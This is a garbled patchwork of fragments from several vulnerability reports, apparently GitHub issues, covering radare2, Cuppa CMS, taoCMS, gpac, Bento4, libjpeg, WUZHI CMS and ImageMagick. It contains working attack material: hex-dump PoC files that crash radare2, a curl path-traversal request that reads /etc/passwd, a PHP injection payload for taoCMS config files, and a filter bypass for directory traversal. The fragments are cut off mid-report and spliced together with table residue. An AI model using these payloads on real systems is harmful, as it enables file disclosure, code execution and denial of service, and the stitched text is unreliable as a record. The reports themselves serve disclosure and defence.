radare2 5.7.0 28296 @ linux-x86-64 git.5.7.0
commit: 09569c1d5c324df7f23bdc9ad864ac1c25925745 build: 2022-06-20__11:48:07
Linux x86_64
```
## Description
After 5.7.0 release, a heap buffer overflow can be found in function `consume_encoded_name_new` in `format/wasm/wasm.c` via openning a crafted binary file with r2.
<!-- Explain what's the issue and what would you expect to see -->
## Test
1. Build Radare2 with AddressSanitizer enabled. (Just execute `./sys/sanitize.sh`)
2. Make a PoC file with size of just 38 bytes. Save the content below as `hex.txt`
```
00000000: 0061 736d 7f00 0000 0001 0dff 7436 ff8b .asm........t6..
00000010: 3000 3e01 499f 1000 fc00 7f45 4c46 80ff 0.>.I......ELF..
00000020: fe61 73ff 0240 .as..@
```
`xxd -r hex.txt > PoCfile` to create the poc file
3. `r2 PoCfile`

radare2 5.7.3 28346 @ linux-x86-64 git.5.6.6-689-gf369ff2de
commit: f369ff2de3c807681ec76df450ee6d4af5e04ce0 build: 2022-06-24__10:39:32
```
## Description
NULL pointer dereference in function `r_bin_file_xtr_load_buffer` in `bin/bfile.c` in Radare2 5.7.2 could crash the application when opening a crafted binary file with r2. Typically, attackers can leverage this vulnerability to perform denial-of-service attack in the context of the current user.
## Test
1. Build Radare2 normally or with `UBSAN` enabled
2. Make a PoC file with size of just 32 bytes. Save the content below as `hex.txt`
```
00000000: 5841 4c5a 0000 0010 009a 454c 4680 009a XALZ......ELF...
00000010: 454c 4280 df96 0003 df7b 0003 ff5b 003e ELB......{...[.>
```
`xxd -r hex.txt > PoCfile` to create the poc file
3. `r2 PoCfile`, the program will crash immediately
When built normally:
```
ERROR: LZ4 decompression failed
zsh: segmentation fault (core dumped) ./install0/bin/r2 PoCfile
```
When `UBSAN` and `ASAN` enabled:
```
ERROR: LZ4 decompression failed

Using the following exploit it is possible to include arbitrary server file:
curl -X POST "http://IP/cuppa/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../etc/passwd"
PoC:
Possible solution: $_POST['url'] should be sanitized against truncation (../ or ..\ , etc...).

] | 1. We enter the management page, Go to website settings.
2. Next, I want to inject php code by modifying these settings.
From the config.php file we found that the modified configuration will be written that.
3. The format of configuration writing is as follows.
```
define('WEBNAME', 'taoCMS演示');
```
4. So according to the grammar rules of php, I made the following request.
```
payload: taoCMS演示');phpinfo();//
```
5. But I found that after executing the request, the code of the config.php file will have a syntax error.
```
define('WEBNAME', 'taoCMS演示'');phpinfo();//');
```
6. when i view the taocms/include/Config.php, When the configuration is modified, the configuration is checked for security.
7. Follow taocms/include/Base.php, in the safeword function.
The core point of discovery is that if the database type is Sqlite, a single (') will be replaced by a pair ('').
8. After knowing all this, I constructed a payload, add a (\) to escape ('). Note that the database type is Sqlite.
```
payload: taoCMS演示\');phpinfo();//
```
9. After executing the request this time, I found that I successfully modified the configuration, and the code syntax check passed.
10. When I access Config.php everything works fine and the php code runs correctly.

Occurrences:
avc_ext.c:2490
ps: this test was still based on the newest mp4box+asan. The bug happened in avc_ext.c:2490 which was the same location with the other issue i submitted (https://github.com/gpac/gpac/issues/2218). Maybe asan mistakenly reports "heap-use-after-free" instead of "heap-buffer-overflow". Pls check it again.

# Vulnerability analysis
When running to `bit_copy_chain`, both `dat->chain` and `tmp_dat->chain` point to `0x7ffff3b65800` (see the gdb output below).
This will lead to use-after-free, since line 3339 calls `realloc`, which frees the chunk `0x7ffff3b65800`, and line 3352 ties to read from the freed chunk.
Also note that the comment says `bit_copy_chain` *Copy the whole content of tmp_data to dat, and reset tmp_dat*, so why `dat->chain = tmp_dat->chain` in this PoC should be further investigated.

The possible cause of this issue is that a crafted input can set `entry_count` to a large value (4,278,190,081) in line 90. Such a long loop (line 95-114) will allocate a lot of memory in line 106 and line 111, which eventually exhausts the memory. Since the return value of `stream.Read` is not checked in line 109, the loop will not terminate at the end of the input file. | Possible memory exhuastion in AP4_SgpdAtom::AP4_SgpdAtom().

When `marker==0xffd9`, `ParseFrameHeader` will return `NULL` (line 627, image.cpp), which initializes `m_pCurrent` with `NULL` (line 667, image.cpp).
https://github.com/thorfdbg/libjpeg/blob/842c7baef7808f12cad19b49b2efcfa9575dbc78/codestream/image.cpp#L621-L627

Since `m_bReceivedFrameHeadere` is set to `true` after that (lne 672, image.cpp), further calls to `StartParseFrame` will keep returning `m_pCurreent=NULL`.
https://github.com/thorfdbg/libjpeg/blob/842c7baef7808f12cad19b49b2efcfa9575dbc78/interface/jpeg.cpp#L284-L353
Such behavior leads to an infinite loop in `JPEG::ReadInternal`. When `m_pFrame==NULL` (line 285, jpeg.cpp), it will invoke `m_pImage->StartParseFrame` to initialize it (line 286, jpeg.cpp). Since `StartParseFrame` keeps returning `NULL` in this case, the while loop from line 284-353 cannot terminate.

```
**Root cause:**
There is a loop in frame.cpp:1017-1118.
In line 1018, the program continuously reads `marker` in the stream by calling `IOStream::PeekWord()` function.
https://github.com/thorfdbg/libjpeg/blob/842c7baef7808f12cad19b49b2efcfa9575dbc78/marker/frame.cpp#L1018
In cases of the `default` branch, the loop won't exit.
https://github.com/thorfdbg/libjpeg/blob/842c7baef7808f12cad19b49b2efcfa9575dbc78/marker/frame.cpp#L1088-L1117
The problem is that the `IOStream::PeekWord()` function might always return a same value.
Specifically, the `IOStream::PeekWord()` calls `ByteStream::Get()`. https://github.com/thorfdbg/libjpeg/blob/91985dc031428f8a7cf90af5e22e234f1f529611/io/bytestream.cpp#L214-L224
`IOStream::PeekWord()` returns at line 223 with `m_pucBufPtr++`. However, when using gdb to check the value of `m_pucBufPtr`, I found that the ByteStream::Get() functions repeatedly read the values from the same address. The 0x790f2a and 0x790f29 correspond to `byte1` and `byte2` in `IOStream::PeekWord()` and they never change.
<img width="567" alt="Screen Shot 2022-07-26 at 23 54 05" src="https://user-images.githubusercontent.com/70422882/181052728-ee1cbd37-184d-4c75-9dce-6c7cbca25092.png">
`IOStream::PeekWord()` then always returns a same value (calculated by `byte1` and `byte2`). Finally, the program never terminates because the return value forces the program to take the `default` branch. | Infinite loop in Frame::ParseTrailer | https://api.github.com/repos/thorfdbg/libjpeg/issues/77/comments | 1 | 2022-07-26T15:59:16Z | 2022-08-03T12:22:36Z | https://github.com/thorfdbg/libjpeg/issues/77 | 1,318,449,876 | 77 |

……
### Additional Logs, screenshots, source-code, configuration dump, ...
The `in` command would first free the original `core->table_query`, then create a new `core->table_query` in `cmd_info.c:cmd_info()`，
```
R_FREE (core->table_query);
if (space && *space == ' ') {
core->table_query = r_str_trim_dup (space + 1);
}
```
The `oc` command would free it in `core.c: r_core_fini`, which didn't NULL it out.
```
……
free (c->table_query);
r_list_free (c->files);
r_list_free (c->watchers);
r_list_free (c->scriptstack);
……
```
So execute `in 0` again would cause a double/invalid free.

] | A directory traversal vulnerability was discovered in WUZHI CMS 4.1.0.
Directory traversal allows authenticated remote attackers to list files in any directory.
Vulnerability in /coreframe/app/attachment/admin/index.php:
```
public function dir()
{
$dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
$dir = str_ireplace(array('%2F', '//'), '/', $dir);
$lists = glob(ATTACHMENT_ROOT . $dir . '/' . '*');
if (!empty($lists)) rsort($lists);
$cur_dir = str_replace(array(WWW_ROOT, DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR), array('', DIRECTORY_SEPARATOR), ATTACHMENT_ROOT . $dir . '/');
include $this->template('dir', M);
}
```
Even if the "str_replace" function filters some characters, it can still bypass the blacklist with ".....///"

7.1.0-20
### Operating system
Linux
### Operating system, version and so on
Linux ubuntu 5.4.0-73-generic #82~18.04.1-Ubuntu SMP Fri Apr 16 15:10:02 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
### Description
Hi, ImageMagick security team
This is ZhangJiaxing (@r0fm1a) from Codesafe Team of Legendsec at Qi'anxin Group.
I've found a Heap Buffer Overflow vulnerability in ImageMagick 7.1.0-20.(github commit ID f54aa4e7ba8a8fb82d200844dc59804f5f6c8cbf in Tue Jan 18 20:00:38 2022 -0500).When someone uses magick to convert a tiff-format image into a picon-format file, the bug will be traggered on.
Please feel free to contact me.
Regards,
ZhangJiaxing
### Steps to Reproduce
1. git clone ImageMagick
2. ./configure CC=gcc CFLAGS="-g -fsanitize=address" && make
3. cd utilities &&./magick convert /path/to/poc.tiff output.picon
4. The Asan logs are as follows:
